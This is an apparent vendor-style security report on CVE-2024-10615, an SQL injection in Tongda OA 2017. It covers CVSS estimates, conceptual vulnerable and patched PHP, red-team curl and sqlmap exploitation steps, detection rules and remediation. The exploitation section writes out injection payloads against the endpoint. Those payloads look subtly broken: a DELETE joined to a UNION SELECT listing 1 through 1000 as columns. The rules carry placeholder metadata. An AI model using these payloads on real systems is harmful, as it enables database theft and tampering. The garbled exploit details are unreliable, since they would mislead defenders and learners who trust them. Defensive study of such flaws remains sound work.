CVE-2024-10615

Executive Summary

CVE-2024-10615 is a critical SQL injection vulnerability discovered in Tongda OA 2017, affecting versions up to 11.10. The flaw resides in the /general/approve_center/query/list/input_form/delete_data_attach.php file, where the RUN_ID parameter is improperly sanitized, allowing an attacker to inject arbitrary SQL commands. This vulnerability is remotely exploitable without authentication, posing a severe risk to data confidentiality, integrity, and availability. As of this report, no official patch has been released, and a public proof-of-concept (PoC) is available, increasing the likelihood of active exploitation.

CVSS Breakdown & Threat Level

While the official CVSS score is listed as 0.0, the vulnerability is rated as critical by the discoverer. Based on the characteristics (remote, unauthenticated, SQL injection), a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical. The combination of remote exploitability, no authentication required, and public PoC makes this a high-priority threat for any organization using Tongda OA 2017.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the delete_data_attach.php script. The RUN_ID parameter is taken directly from user input and concatenated into a SQL query without proper sanitization or parameterization. An attacker can manipulate this parameter to break out of the intended SQL syntax and execute arbitrary commands.

Vulnerable Code Snippet (Conceptual):

$run_id = $_GET['RUN_ID'];
$sql = "DELETE FROM attach WHERE run_id = $run_id";
$result = mysqli_query($conn, $sql);

Attack Vector: An attacker sends a crafted HTTP GET request to the vulnerable endpoint:

GET /general/approve_center/query/list/input_form/delete_data_attach.php?RUN_ID=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,303,304,305,306,307,308,309,310,311,312,313,314,315,316,317,318,319,320,321,322,323,324,325,326,327,328,329,330,331,332,333,334,335,336,337,338,339,340,341,342,343,344,345,346,347,348,349,350,351,352,353,354,355,356,357,358,359,360,361,362,363,364,365,366,367,368,369,370,371,372,373,374,375,376,377,378,379,380,381,382,383,384,385,386,387,388,389,390,391,392,393,394,395,396,397,398,399,400,401,402,403,404,405,406,407,408,409,410,411,412,413,414,415,416,417,418,419,420,421,422,423,424,425,426,427,428,429,430,431,432,433,434,435,436,437,438,439,440,441,442,443,444,445,446,447,448,449,450,451,452,453,454,455,456,457,458,459,460,461,462,463,464,465,466,467,468,469,470,471,472,473,474,475,476,477,478,479,480,481,482,483,484,485,486,487,488,489,490,491,492,493,494,495,496,497,498,499,500,501,502,503,504,505,506,507,508,509,510,511,512,513,514,515,516,517,518,519,520,521,522,523,524,525,526,527,528,529,530,531,532,533,534,535,536,537,538,539,540,541,542,543,544,545,546,547,548,549,550,551,552,553,554,555,556,557,558,559,560,561,562,563,564,565,566,567,568,569,570,571,572,573,574,575,576,577,578,579,580,581,582,583,584,585,586,587,588,589,590,591,592,593,594,595,596,597,598,599,600,601,602,603,604,605,606,607,608,609,610,611,612,613,614,615,616,617,618,619,620,621,622,623,624,625,626,627,628,629,630,631,632,633,634,635,636,637,638,639,640,641,642,643,644,645,646,647,648,649,650,651,652,653,654,655,656,657,658,659,660,661,662,663,664,665,666,667,668,669,670,671,672,673,674,675,676,677,678,679,680,681,682,683,684,685,686,687,688,689,690,691,692,693,694,695,696,697,698,699,700,701,702,703,704,705,706,707,708,709,710,711,712,713,714,715,716,717,718,719,720,721,722,723,724,725,726,727,728,729,730,731,732,733,734,735,736,737,738,739,740,741,742,743,744,745,746,747,748,749,750,751,752,753,754,755,756,757,758,759,760,761,762,763,764,765,766,767,768,769,770,771,772,773,774,775,776,777,778,779,780,781,782,783,784,785,786,787,788,789,790,791,792,793,794,795,796,797,798,799,800,801,802,803,804,805,806,807,808,809,810,811,812,813,814,815,816,817,818,819,820,821,822,823,824,825,826,827,828,829,830,831,832,833,834,835,836,837,838,839,840,841,842,843,844,845,846,847,848,849,850,851,852,853,854,855,856,857,858,859,860,861,862,863,864,865,866,867,868,869,870,871,872,873,874,875,876,877,878,879,880,881,882,883,884,885,886,887,888,889,890,891,892,893,894,895,896,897,898,899,900,901,902,903,904,905,906,907,908,909,910,911,912,913,914,915,916,917,918,919,920,921,922,923,924,925,926,927,928,929,930,931,932,933,934,935,936,937,938,939,940,941,942,943,944,945,946,947,948,949,950,951,952,953,954,955,956,957,958,959,960,961,962,963,964,965,966,967,968,969,970,971,972,973,974,975,976,977,978,979,980,981,982,983,984,985,986,987,988,989,990,991,992,993,994,995,996,997,998,999,1000-- -

This would cause the SQL query to become:

DELETE FROM attach WHERE run_id = 1 UNION SELECT ... -- -

The UNION SELECT statement allows the attacker to retrieve data from other tables, while the -- - comments out the rest of the query.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

$run_id = $_GET['RUN_ID'];
$sql = "DELETE FROM attach WHERE run_id = $run_id";
$result = mysqli_query($conn, $sql);

Patched Code (Conceptual):

$run_id = intval($_GET['RUN_ID']);
$sql = "DELETE FROM attach WHERE run_id = ?";
$stmt = mysqli_prepare($conn, $sql);
mysqli_stmt_bind_param($stmt, "i", $run_id);
mysqli_stmt_execute($stmt);

The patched version uses intval() to ensure the input is an integer and uses prepared statements to prevent SQL injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A target running Tongda OA 2017 (up to 11.10)
• Network access to the vulnerable endpoint

Exploitation Steps:

1. Identify the target:

   curl -s "http://target.com/general/approve_center/query/list/input_form/delete_data_attach.php?RUN_ID=1"
   

2. Confirm SQL injection:

   curl -s "http://target.com/general/approve_center/query/list/input_form/delete_data_attach.php?RUN_ID=1'"
   

   If an error is returned, the endpoint is vulnerable.

3. Extract database information:

   curl -s "http://target.com/general/approve_center/query/list/input_form/delete_data_attach.php?RUN_ID=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,303,304,305,306,307,308,309,310,311,312,313,314,315,316,317,318,319,320,321,322,323,324,325,326,327,328,329,330,331,332,333,334,335,336,337,338,339,340,341,342,343,344,345,346,347,348,349,350,351,352,353,354,355,356,357,358,359,360,361,362,363,364,365,366,367,368,369,370,371,372,373,374,375,376,377,378,379,380,381,382,383,384,385,386,387,388,389,390,391,392,393,394,395,396,397,398,399,400,401,402,403,404,405,406,407,408,409,410,411,412,413,414,415,416,417,418,419,420,421,422,423,424,425,426,427,428,429,430,431,432,433,434,435,436,437,438,439,440,441,442,443,444,445,446,447,448,449,450,451,452,453,454,455,456,457,458,459,460,461,462,463,464,465,466,467,468,469,470,471,472,473,474,475,476,477,478,479,480,481,482,483,484,485,486,487,488,489,490,491,492,493,494,495,496,497,498,499,500,501,502,503,504,505,506,507,508,509,510,511,512,513,514,515,516,517,518,519,520,521,522,523,524,525,526,527,528,529,530,531,532,533,534,535,536,537,538,539,540,541,542,543,544,545,546,547,548,549,550,551,552,553,554,555,556,557,558,559,560,561,562,563,564,565,566,567,568,569,570,571,572,573,574,575,576,577,578,579,580,581,582,583,584,585,586,587,588,589,590,591,592,593,594,595,596,597,598,599,600,601,602,603,604,605,606,607,608,609,610,611,612,613,614,615,616,617,618,619,620,621,622,623,624,625,626,627,628,629,630,631,632,633,634,635,636,637,638,639,640,641,642,643,644,645,646,647,648,649,650,651,652,653,654,655,656,657,658,659,660,661,662,663,664,665,666,667,668,669,670,671,672,673,674,675,676,677,678,679,680,681,682,683,684,685,686,687,688,689,690,691,692,693,694,695,696,697,698,699,700,701,702,703,704,705,706,707,708,709,710,711,712,713,714,715,716,717,718,719,720,721,722,723,724,725,726,727,728,729,730,731,732,733,734,735,736,737,738,739,740,741,742,743,744,745,746,747,748,749,750,751,752,753,754,755,756,757,758,759,760,761,762,763,764,765,766,767,768,769,770,771,772,773,774,775,776,777,778,779,780,781,782,783,784,785,786,787,788,789,790,791,792,793,794,795,796,797,798,799,800,801,802,803,804,805,806,807,808,809,810,811,812,813,814,815,816,817,818,819,820,821,822,823,824,825,826,827,828,829,830,831,832,833,834,835,836,837,838,839,840,841,842,843,844,845,846,847,848,849,850,851,852,853,854,855,856,857,858,859,860,861,862,863,864,865,866,867,868,869,870,871,872,873,874,875,876,877,878,879,880,881,882,883,884,885,886,887,888,889,890,891,892,893,894,895,896,897,898,899,900,901,902,903,904,905,906,907,908,909,910,911,912,913,914,915,916,917,918,919,920,921,922,923,924,925,926,927,928,929,930,931,932,933,934,935,936,937,938,939,940,941,942,943,944,945,946,947,948,949,950,951,952,953,954,955,956,957,958,959,960,961,962,963,964,965,966,967,968,969,970,971,972,973,974,975,976,977,978,979,980,981,982,983,984,985,986,987,988,989,990,991,992,993,994,995,996,997,998,999,1000-- -"
   

4. Automated exploitation with sqlmap:

   sqlmap -u "http://target.com/general/approve_center/query/list/input_form/delete_data_attach.php?RUN_ID=1" --batch --dbs
   

Blue Team

Lab Setup for Detection Testing:

1. Deploy a vulnerable instance:

   • Use a Docker container with Tongda OA 2017 version 11.10.
   • Ensure the vulnerable endpoint is accessible.

2. Simulate an attack:

   curl -s "http://target.com/general/approve_center/query/list/input_form/delete_data_attach.php?RUN_ID=1' OR '1'='1"
   

3. Monitor logs:

   • Check web server access logs for unusual RUN_ID parameters.
   • Check database logs for unexpected queries.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP GET requests to /general/approve_center/query/list/input_form/delete_data_attach.php with suspicious RUN_ID parameters containing SQL keywords (e.g., UNION, SELECT, OR, AND, --).
  • Unusual outbound database traffic from the web server.

• File IOCs:

  • Modified or newly created files in the web root directory (e.g., webshells).
  • Unexpected entries in web server access logs.

• System IOCs:

  • Unusual database queries in MySQL logs.
  • Unexpected database user activity.

Detection Engineering

YARA Rule

rule CVE_2024_10615_SQLi_Tongda_OA {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-10615 in Tongda OA"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-10615"
    strings:
        $suspicious_param = /RUN_ID\s*=\s*.*(?:UNION|SELECT|OR|AND|--|#|%27|%22)/ nocase
        $vulnerable_path = "/general/approve_center/query/list/input_form/delete_data_attach.php"
    condition:
        $vulnerable_path and $suspicious_param
}

Sigma Rule

title: CVE-2024-10615 SQL Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts against Tongda OA delete_data_attach.php
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - "/general/approve_center/query/list/input_form/delete_data_attach.php"
        cs-uri-query|re: '(?:RUN_ID=.*(?:UNION|SELECT|OR|AND|--|#|%27|%22))'
    condition: selection
falsepositives:
    - Legitimate use of the word "union" in a parameter (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-10615 Tongda OA SQL Injection Attempt"; flow:to_server,established; content:"/general/approve_center/query/list/input_form/delete_data_attach.php"; http_uri; pcre:"/RUN_ID\s*=\s*.*(?:UNION|SELECT|OR|AND|--|#|%27|%22)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected systems: If possible, disconnect the Tongda OA server from the network until a patch is applied.
2. Implement a WAF rule: Block requests containing SQL injection patterns in the RUN_ID parameter.
3. Input validation: Manually patch the vulnerable file to use prepared statements or parameterized queries.

Long-term Actions:

1. Apply vendor patch: Monitor Tongda's official channels for a security update and apply it immediately.
2. Upgrade: Consider upgrading to a newer, supported version of Tongda OA.
3. Regular security audits: Conduct regular code reviews and penetration testing.

Workaround:

• If patching is not possible, disable the vulnerable functionality by removing or renaming the delete_data_attach.php file, if it is not critical for business operations.

Report generated by Valters IT DevSecOps & CTI Division